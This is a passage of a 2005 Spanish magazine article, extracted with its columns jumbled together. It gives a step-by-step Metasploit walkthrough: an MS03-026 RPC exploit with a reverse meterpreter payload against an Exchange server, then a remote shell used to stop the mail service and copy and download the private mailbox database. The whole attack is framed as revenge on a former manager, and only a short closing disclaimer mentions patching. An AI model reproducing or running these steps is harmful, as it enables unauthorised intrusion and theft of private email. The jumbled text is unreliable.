60-62-Redes-P26.
qxd 11/2/05 2:05 PM Page 60
LEANDRO F. REOX MUCHOS DIRAN QUE ES UN POCO DESACTUALIZADO, PERO TODOS
.hck ESPECIALISTA EN REDES Y SEGURIDAD SABEMOS QUE DEL LADO DE LOS SERVIDORES TAMBIEN TENEMOS
[Link]@[Link] EQUIPOS ABIERTOS AL MUNDO ESPERANDO SER EXPLOTADOS. ESTE
ARTICULO ES UN POC (PROOF OF CONCEPT, O PRUEBA DE CONCEPTO)
PROBANDO VULNERABILIDADES
PARA DEJAR MAS QUE CLARO EL PELIGRO QUE CORREN LOS
SERVIDORES QUE NO TIENEN LA PROTECCION ADECUADA NI PARCHES.
THE METASPLOIT PROJECT Metaesploit!!!
n nuestra edicin #24 hicimos un completo in-
E forme acerca de los exploits a travs de la his-
toria, y finalizamos hablando sobre los frame-
+ =[ msfconsole v2.4\ [75 exploits - 75 payloads]
msf >
works de explotacin, herramientas que sirven para reali- Bien! Estamos adentro y tenemos prompt para empezar a
zar testeos de penetracin; esto quiere decir que simu- ejecutar cosas, pero qu hacemos? Cuando comenza-
lan una situacin de hacking para comprobar si un ser- mos a familiarizarnos con Metasploit, lo primero que de-
vidor es vulnerable. bemos hacer es listar los exploits disponibles, para ver
En aquella edicin, prometimos que analizaramos un cul se ajusta a nuestras necesidades. Esto se hace me-
ejemplo en una situacin cotidiana, para observar el fun- diante el comando show exploits.
cionamiento y el poder de Metasploit ([Link]), y Ahora que tenemos una lista de los exploits disponibles,
eso es lo que haremos ahora. Recomendamos repasar lo podemos ver cul es el mejor para ocasionarle un dolor
publicado en POWERUSR #24, para tener una idea ms de cabeza al nuevo administrador o, por lo menos, para
terica sobre este asunto. monitorear la actividad del servidor de correo e, incluso,
alterar el contenido de los mails de nuestro ex gerente.
LA SITUACION Hacemos un scanning:
Termina nuestro da de trabajo en la oficina y, contentos,
nos vamos a casa pensando en la cena y la almohada. Nmap sV -0 p25,139 $ip-del-exchange
Justo cuando estamos soando sobre cmo asesinar a
Pablo Hauser con un fuego a discrecin de municiones de Comprobamos que Exchange tiene permitidos los puertos
paintball, suena el telfono y adivinen qu: s, problemas. de NetBIOS desde Internet y que, adems, no cuenta con
Nos vestimos y acudimos a la oficina para resolverlos. los parches crticos. S, amigos: una instalacin por de-
Luego de varias horas, cuando ya creamos que estaba to- fault. Entonces, nuestro mejor amigo es el exploit para
do perdido, nos invade esa iluminacin que slo puede vulnerabilidad RPC (la misma que ataca el Blaster). Para
tener un administrador con pocas horas de sueo, y ter- utilizar ste, o cualquier exploit, necesitamos llamar al
minamos por arreglar todo. Al da siguiente, en la ofici- comando use seguido del nombre que figura a la iz-
na, nuestro gerente nos invita a su despacho y nos comu- quierda cuando hacemos show exploits. Entonces:
nica que quedamos desafectados de la compaa a raz
del incidente sucedido (que, al margen, no haba tenido msf > use msrpc_dcom_ms03_026
nada que ver con nosotros), y no slo eso, sino que tiene
cara para presentarnos a quien nos reemplazar: Te pre- msf msrpc_dcom_ms03_026 >
sento a Mr. Exchange; l va a tomar tu lugar y, adems,
como es megacertified, va a implementar una plataforma CONFIGURAR EL EXPLOIT
de e-mail superpoderosa como la que no tuvieron jams Una vez que seleccionamos el exploit, debemos configurar-
en la historia. Sabiendo esto, volvemos cabizbajos a lo con el comando set (que modifica la variable de entor-
nuestra casa pensando qu ser ahora de nuestras vidas. no del exploit que estamos ejecutando en ese momento). Si
Pero, como es natural en el ser humano, empezamos a re- vamos a intentar mltiples exploits, lo ms recomendable
cordar todas las situaciones en las que nuestro gerente ser utilizar el comando setg, ya que hace la configura-
nos enga, presion, culp y prometi un aumento mi- cin de manera global, un Payload, que podemos entender
llonario que jams lleg. Comenzamos, entonces, a pla-
near nuestra venganza.
SED DE VENGANZA
Luego de un pequeo trabajo de investigacin y scanning,
descubrimos que, evidentemente, nuestro reemplazo haba
instalado ese Exchange que tanto haba prometido. Bus-
cando, encontramos que Metasploit puede ser la solucin
a nuestro sufrimiento y que, con un poco de suerte, po-
dramos perpetrar nuestra venganza. Descargamos de la
Web el binario instalador para Windows, y con cuatro o
cinco clics, lo tenemos listo y corriendo. Ahora, al mejor
estilo old school, nos dirigimos a un cmd para ejecutar
ESTA ES LA CONSOLA QUE UTILIZAMOS SI REALIZAMOS
el framework por primera vez:
LA EXPLOTACION A TRAVES DE LA LINEA DE
COMANDOS, QUE ES UNA DE LAS FORMAS DE OPERAR
C:\Program Files\Metasploit Framework>[Link] DEL FRAMEWORK METASPLOIT.
60 POWERUSR
[Link] 11/2/05 2:05 PM Page 61
T como el cdigo arbitrario que se ejecutar en la mquina
vctima. En este caso, usamos meterpreter, que, a simple vis-
ta, parece un tpico intrprete de comandos, pero es mucho
ms que eso: tiene la capacidad de manejar una carga de obje-
tos en memoria on-the-fly, debido a lo cual puede controlar
extensiones que son compatibles con la mayora de las plata-
formas de sistemas operativos. De esta manera, el intrprete
puede utilizar una misma interfaz cliente y controlar mltiples
extensiones. Entonces, ahora seteamos como payload al meter-
preter, de la siguiente manera:
RESULTADO DEL COMANDO SHOW EXPLOITS EN LA
CONSOLA DE METASPLOIT, QUE MUESTRA LOS EXPLOITS
msf msrpc_dcom_ms03_026 > set PAYLOAD win32_reverse_meterpreter DISPONIBLES PARA REALIZAR LAS EXPLOTACIONES.
PAYLOAD -> win32_reverse_meterpreter
kill de procesos, as como tambin, de obtener una lista de
Lo seteamos en modo reverso, para que la conexin se origine los que estn corriendo en ese momento en la mquina vcti-
desde la vctima a nosotros, con lo cual podremos evadir las ma, llamando al siguiente comando:
restricciones de polticas entrantes de firewalling.
El siguiente paso es setear las variables de entorno locales, co- meterpreter> use -m Process
mo la direccin IP de la vctima (RHOST), el puerto remoto 25
(RPORT), la IP de nuestra mquina (LHOST) y el puerto local loadlib: Loading library from [Link] on the remote machine.
(LHOST), del siguiente modo: meterpreter>
loadlib: success.
msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > set RHOST $ipdelserver meterpreter>
RHOST -> [Link]
msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > set RPORT 12345 Perfecto, la librera se carg con xito en el equipo remoto.
RPORT -> 12345 Una vez que est cargada, podemos ver qu comandos pode-
msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > set LHOST [Link] mos manejar correspondientes a la extensin; una vez ms, un
LHOST -> [Link] help nos ser de gran ayuda.
msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > set LPORT 5556
LPORT -> 5556 EJECUCION DE COMANDOS EN EL EQUIPO REMOTO
msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) >
En el ltimo submen de este nuevo men de ayuda, tenemos
todos los comandos que podemos ejecutar relacionados con la
QUE COMIENCE LA ACCION! extensin cargada.
Una vez que todas las variables de entorno estn configuradas, es Vamos a ejecutar una shell de Windows en el equipo remoto a tra-
hora de darle al gatillo, simplemente, con el comando exploit: vs de meterpreter. Para hacerlo, nos valemos de execute:
msf msrpc_dcom_ms03_026(win32_reverse_meterpreter) > exploit meterpreter> execute -f cmd -c
[*] Starting Reverse Handler. execute: Executing cmd...
[*] Sending 270 bytes to remote host. meterpreter>
[*] Got connection from [Link]:5556 <-> $ipdelserver:2029 execute: success, process id is 3516.
[*] Sending Stage (2835 bytes) execute: allocated channel 1 for new process.
[*] Sleeping before sending dll.
[*] Uploading dll to memory (69643), Please wait... Ahora tenemos creado el canal 1 para este nuevo proceso. La ver-
[*] Upload completed satilidad de meterpreter nos permite manejar la ejecucin de distin-
meterpreter>
tas rutinas por canales, y controlarlas de manera individual.
[ -= connected to =- ]
Lo que hacemos, entonces, es conectarnos al canal 1 abierto recien-
[ -= meterpreter server =- ]
temente por meterpreter con el comando interact:
[ -= v. 00000500 =- ]
meterpreter>
meterpreter> interact 1
interact: Switching to interactive console on 1...
Tenemos una shell de meterpreter en el host remoto: la explo- meterpreter>
tacin fue todo un xito. El prximo paso es ver qu tiene interact: Started interactive channel 1.
meterpreter para ofrecernos, cosa que podemos ver con el co- Microsoft Windows [Version 5.1.2600]
mando help. (C) Copyright 1985-2003 Microsoft Corp.
La funcin de este intrprete que ms se utiliza es use, la C:\WINDOWS>echo Lean loves to own M$ boxes ! :D
que, justamente, nos permite cargar extensiones en el host re- echo Lean loves to own M$ boxes ! :D
Lean loves to own M$ boxes ! :D
moto en memoria on the fly, a lo ninja. Desde aqu tenemos
C:\WINDOWS>
extensiones que nos dan la posibilidad de controlar la funcin
POWERUSR 61
[Link] 11/2/05 2:05 PM Page 62
A PUNTO DE REALIZAR UNA EXPLOTACION CON LA
VULNERABILIDAD TAN GRAVE Y TAN CONOCIDA DE APACHE,
INTERFAZ WEB DE METASPLOIT. A TRAVES DE ELLA PODEMOS CHUNKED ENCODING. COMO SE VE EN LA DESCRIPCION,
REALIZAR LAS MISMAS ACCIONES QUE POR LA CONSOLA, SETEAMOS EL PAYLOAD PARA OBTENER UNA SHELL
PERO DE UNA MANERA MAS AMIGABLE A LA VISTA. REVERSA. ULTIMO PASO? JUST PRESS EXPLOIT!
Un hecho inocente para demostrar el poder; ahora vamos a lo exit
ms interesante, la base de Exchange:
interact: Ending interactive session.
C:\WINDOWS>cd ..
C:\cd Program* meterpreter>
C:\Program Files\cd Exchangesrv
C:\Program Files\Exchangesrv\cd mdbdata Copiamos la base con xito a c:/temp y cerramos la sesin in-
C:\Program Files\cd Exchangesrv\MDBDATA\dir teractiva con el proceso cmd que habamos dejado corriendo
C:\Program Files\cd Exchangesrv\MDBDATA >dir en el host remoto. Ahora es momento de descargar el archivo
Volume in drive C is PUlab de manera local, para lo cual hacemos uso de otra librera, la
Volume Serial Number is C013-2A7A perteneciente a la interaccin con los filesystems:
Directory of C:\Program Files\cd Exchangesrv\MDBDATA
meterpreter> use -m Fs
loadlib: Loading library from [Link] on the remote machine.
12/13/2005 08:24 AM <DIR> .
meterpreter>
12/13/2005 08:24 AM <DIR> ..
loadlib: success.
11/14/2005 03:48 PM 6,403 [Link]
meterpreter>
11/14/2005 03:48 PM 6,332 [Link]
11/14/2005 03:48 PM 3,055 [Link]
11/14/2005 03:48 PM 3,438 [Link] Esta librera posee un comando llamado download, el cual
11/14/2005 03:48 PM 6,276 [Link] invocamos para descargar la base que dejamos en el directorio
05/02/2005 04:45 AM 6,889 [Link] temporal en el equipo remoto:
05/02/2005 04:45 AM 49 [Link]
10 File(s) 29,890,508 bytes meterpreter>download c:\temp\[Link] c:\directoriolocal\
2 Dir(s) 44,644,764,160 bytes free download: Starting download from c:\temp\[Link] to c:\directoriolocal\
download: 1 donwload started
C:\Program Files\cd Exchangesrv\MDBDATA > meterpreter>
download: Download to c:\directoriolocal\[Link]
LLEVARNOS LA BASE DE DATOS meterpreter>exit
Ahora, con el clsico comando copy, podemos copiar la base
de datos de los e-mails privados ([Link]) hacia otro directo- S, mis queridos lectores: la base de e-mails privados es toda
rio ubicado dentro del disco del host remoto. Para hacerlo, de- nuestra. Fue difcil?
bemos detener Exchange:
CONCLUSION
C:\Program Files\cd Exchangesrv\MDBDATA\net stop msexchangeis Creo que qued ms que demostrado el poder de Metasploit.
net stop msexchangeis Imagnenlo combinado con exploits al da que se aprovechan
Microsoft Exchange-server is stopping de vulnerabilidades descubiertas recientemente. Por desgracia,
Microsoft Exchange-server stopped. no todos se sientan a portar su exploit para ser interpretado
por el framework de Metaesploit, lo que es realmente una lsti-
A continuacin, podemos copiar la base, sin olvidarnos, luego, ma. Si el proyecto estuviese mejor mantenido, sera todava
de reiniciar Exchange: ms poderoso que ahora. Tomemos todo esto como una prueba
de concepto (no quiero que se basen en lo explicado para an-
C:\Program Files\cd Exchangesrv\MDBDATA\copy [Link] c:\temp dar rompiendo cosas por ah).
copy [Link] c:\temp Con esta prueba, podemos ver claramente que cualquier ata-
1 File(s) Copied. cante que tenga tiempo, un par de MB libres en el disco y un
C:\Program Files\cd Exchangesrv\MDBDATA\net Start msexchangeis mnimo de sentido comn puede comprometer nuestra red. Por
Microsoft Exchange-server is starting eso, debemos actuar de manera preactiva, proporcionndole al
Microsoft Exchange-server started. sistema operativo los parches necesarios y defendindolo siem-
C:\Program Files\cd Exchangesrv\MDBDATA\exit pre, no slo a nivel IP, sino tambin a nivel aplicacin.
62 POWERUSR